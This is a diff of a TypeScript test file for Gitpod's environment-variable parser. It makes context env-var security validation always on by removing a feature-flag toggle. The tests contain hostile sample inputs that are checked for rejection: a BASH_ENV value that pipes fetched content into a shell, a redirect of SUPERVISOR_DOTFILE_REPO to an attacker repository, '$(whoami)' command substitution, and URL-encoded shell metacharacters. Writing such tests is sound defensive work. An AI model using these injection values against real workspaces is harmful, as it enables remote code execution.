@@ -12,7 +12,6 @@ import * as chai from "chai";
12
12
import { EnvvarPrefixParser , EnvvarSanitization } from "./envvar-prefix-context-parser" ;
13
13
import { WithEnvvarsContext , User } from "@gitpod/gitpod-protocol" ;
14
14
import { Config } from "../config" ;
15
- import { Experiments } from "@gitpod/gitpod-protocol/lib/experiments/configcat-server" ;
16
15
const expect = chai . expect ;
17
16
18
17
@suite
@@ -104,27 +103,9 @@ class TestEnvvarPrefixParser {
104
103
return this . parser . findPrefix ( this . mockUser , url ) ;
105
104
}
106
105
107
- // Security validation tests
106
+ // Security validation tests - validation is now always enabled
108
107
@test
109
- public async testSecurityValidationDisabled ( ) {
110
- Experiments . configureTestingClient ( {
111
- context_env_var_validation : false ,
112
- } ) ;
113
-
114
- expect ( await this . parseAndFormat ( "BASH_ENV=dangerous/" ) ) . to . deep . equal ( { BASH_ENV : "dangerous" } ) ;
115
- // Note: URLs with / cannot work due to context URL parsing splitting on /
116
- expect ( await this . parseAndFormat ( "SUPERVISOR_DOTFILE_REPO=https://github.com/attacker/repo/" ) ) . to . deep . equal ( {
117
- SUPERVISOR_DOTFILE_REPO : "https:" ,
118
- } ) ;
119
- expect ( await this . parseAndFormat ( "VAR=value$/" ) ) . to . deep . equal ( { VAR : "value$" } ) ;
120
- }
121
-
122
- @test
123
- public async testSecurityValidationEnabled ( ) {
124
- Experiments . configureTestingClient ( {
125
- context_env_var_validation : true ,
126
- } ) ;
127
-
108
+ public async testSecurityValidation ( ) {
128
109
// Auto-executing variables should be blocked
129
110
expect ( await this . parseAndFormat ( "BASH_ENV=anything/" ) ) . to . deep . equal ( { } ) ;
130
111
expect ( await this . parseAndFormat ( "SUPERVISOR_DOTFILE_REPO=repo/" ) ) . to . deep . equal ( { } ) ;
@@ -146,10 +127,6 @@ class TestEnvvarPrefixParser {
146
127
147
128
@test
148
129
public async testLegitimateValuesAllowedWithSecurity ( ) {
149
- Experiments . configureTestingClient ( {
150
- context_env_var_validation : true ,
151
- } ) ;
152
-
153
130
// Legitimate values should still work
154
131
expect ( await this . parseAndFormat ( "VERSION=1.2.3/" ) ) . to . deep . equal ( { VERSION : "1.2.3" } ) ;
155
132
expect ( await this . parseAndFormat ( "DEBUG_LEVEL=info/" ) ) . to . deep . equal ( { DEBUG_LEVEL : "info" } ) ;
@@ -163,10 +140,6 @@ class TestEnvvarPrefixParser {
163
140
164
141
@test
165
142
public async testMixedValidAndInvalidVariables ( ) {
166
- Experiments . configureTestingClient ( {
167
- context_env_var_validation : true ,
168
- } ) ;
169
-
170
143
// Mix of valid and invalid variables - only valid ones should be included
171
144
expect ( await this . parseAndFormat ( "VALID=good,BASH_ENV=bad,ANOTHER=also-good/" ) ) . to . deep . equal ( {
172
145
VALID : "good" ,
@@ -181,10 +154,6 @@ class TestEnvvarPrefixParser {
181
154
182
155
@test
183
156
public async testCLC1591AttackVectorsBlocked ( ) {
184
- Experiments . configureTestingClient ( {
185
- context_env_var_validation : true ,
186
- } ) ;
187
-
188
157
// Original attacks from CLC-1591 should be blocked
189
158
expect ( await this . parseAndFormat ( "BASH_ENV=$([email protected] |sh)/" ) ) . to . deep . equal ( { } ) ;
190
159
expect ( await this . parseAndFormat ( "SUPERVISOR_DOTFILE_REPO=https://github.com/attacker/repo/" ) ) . to . deep . equal (
@@ -199,10 +168,6 @@ class TestEnvvarPrefixParser {
199
168
200
169
@test
201
170
public async testURLDecodingInValidation ( ) {
202
- Experiments . configureTestingClient ( {
203
- context_env_var_validation : true ,
204
- } ) ;
205
-
206
171
// URL-encoded dangerous characters should still be blocked
207
172
expect ( await this . parseAndFormat ( "VAR=value%24/" ) ) . to . deep . equal ( { } ) ; // %24 = $
208
173
expect ( await this . parseAndFormat ( "VAR=value%28/" ) ) . to . deep . equal ( { } ) ; // %28 = (
@@ -218,10 +183,6 @@ class TestEnvvarPrefixParser {
218
183
class TestEnvvarSanitization {
219
184
@test
220
185
public testAutoExecVariablesBlocked ( ) {
221
- Experiments . configureTestingClient ( {
222
- context_env_var_validation : true ,
223
- } ) ;
224
-
225
186
// Test shell execution variables
226
187
expect ( EnvvarSanitization . validateContextEnvVar ( "BASH_ENV" , "anything" ) ) . to . deep . include ( {
227
188
valid : false ,
@@ -281,10 +242,6 @@ class TestEnvvarSanitization {
281
242
282
243
@test
283
244
public testPatternBasedBlocking ( ) {
284
- Experiments . configureTestingClient ( {
285
- context_env_var_validation : true ,
286
- } ) ;
287
-
288
245
// Test LD_* pattern
289
246
expect ( EnvvarSanitization . validateContextEnvVar ( "LD_CUSTOM" , "value" ) ) . to . deep . include ( {
290
247
valid : false ,
@@ -360,10 +317,6 @@ class TestEnvvarSanitization {
360
317
361
318
@test
362
319
public testUnsafeCharactersBlocked ( ) {
363
- Experiments . configureTestingClient ( {
364
- context_env_var_validation : true ,
365
- } ) ;
366
-
367
320
// Test shell metacharacters
368
321
expect ( EnvvarSanitization . validateContextEnvVar ( "VAR" , "value$" ) ) . to . deep . include ( {
369
322
valid : false ,
@@ -435,10 +388,6 @@ class TestEnvvarSanitization {
435
388
436
389
@test
437
390
public testInjectionPatternsBlocked ( ) {
438
- Experiments . configureTestingClient ( {
439
- context_env_var_validation : true ,
440
- } ) ;
441
-
442
391
// Note: Most injection patterns are caught by character whitelist first
443
392
// Test command substitution - caught by unsafe chars ($ and ( not allowed)
444
393
expect ( EnvvarSanitization . validateContextEnvVar ( "VAR" , "$(whoami)" ) ) . to . deep . include ( {
@@ -507,10 +456,6 @@ class TestEnvvarSanitization {
507
456
508
457
@test
509
458
public testLegitimateValuesAllowed ( ) {
510
- Experiments . configureTestingClient ( {
511
- context_env_var_validation : true ,
512
- } ) ;
513
-
514
459
// Test simple values
515
460
expect ( EnvvarSanitization . validateContextEnvVar ( "VERSION" , "1.2.3" ) ) . to . deep . equal ( {
516
461
valid : true ,
@@ -554,10 +499,6 @@ class TestEnvvarSanitization {
554
499
555
500
@test
556
501
public testCLC1591AttackVectors ( ) {
557
- Experiments . configureTestingClient ( {
558
- context_env_var_validation : true ,
559
- } ) ;
560
-
561
502
// Original attack vectors from CLC-1591
562
503
expect ( EnvvarSanitization . validateContextEnvVar ( "BASH_ENV" , "$([email protected] |sh)" ) ) . to . deep . include ( {
563
504
valid : false ,
@@ -588,10 +529,6 @@ class TestEnvvarSanitization {
588
529
589
530
@test
590
531
public testGetBlockReasonDescription ( ) {
591
- Experiments . configureTestingClient ( {
592
- context_env_var_validation : true ,
593
- } ) ;
594
-
595
532
expect ( EnvvarSanitization . getBlockReasonDescription ( "auto-exec" ) ) . to . equal (
596
533
"Variable automatically executes code when set" ,
597
534
) ;
@@ -608,10 +545,6 @@ class TestEnvvarSanitization {
608
545
609
546
@test
610
547
public testEdgeCases ( ) {
611
- Experiments . configureTestingClient ( {
612
- context_env_var_validation : true ,
613
- } ) ;
614
-
615
548
// Test very long variable names
616
549
const longName = "A" . repeat ( 1000 ) ;
617
550
expect ( EnvvarSanitization . validateContextEnvVar ( longName , "value" ) ) . to . deep . equal ( {
0 commit comments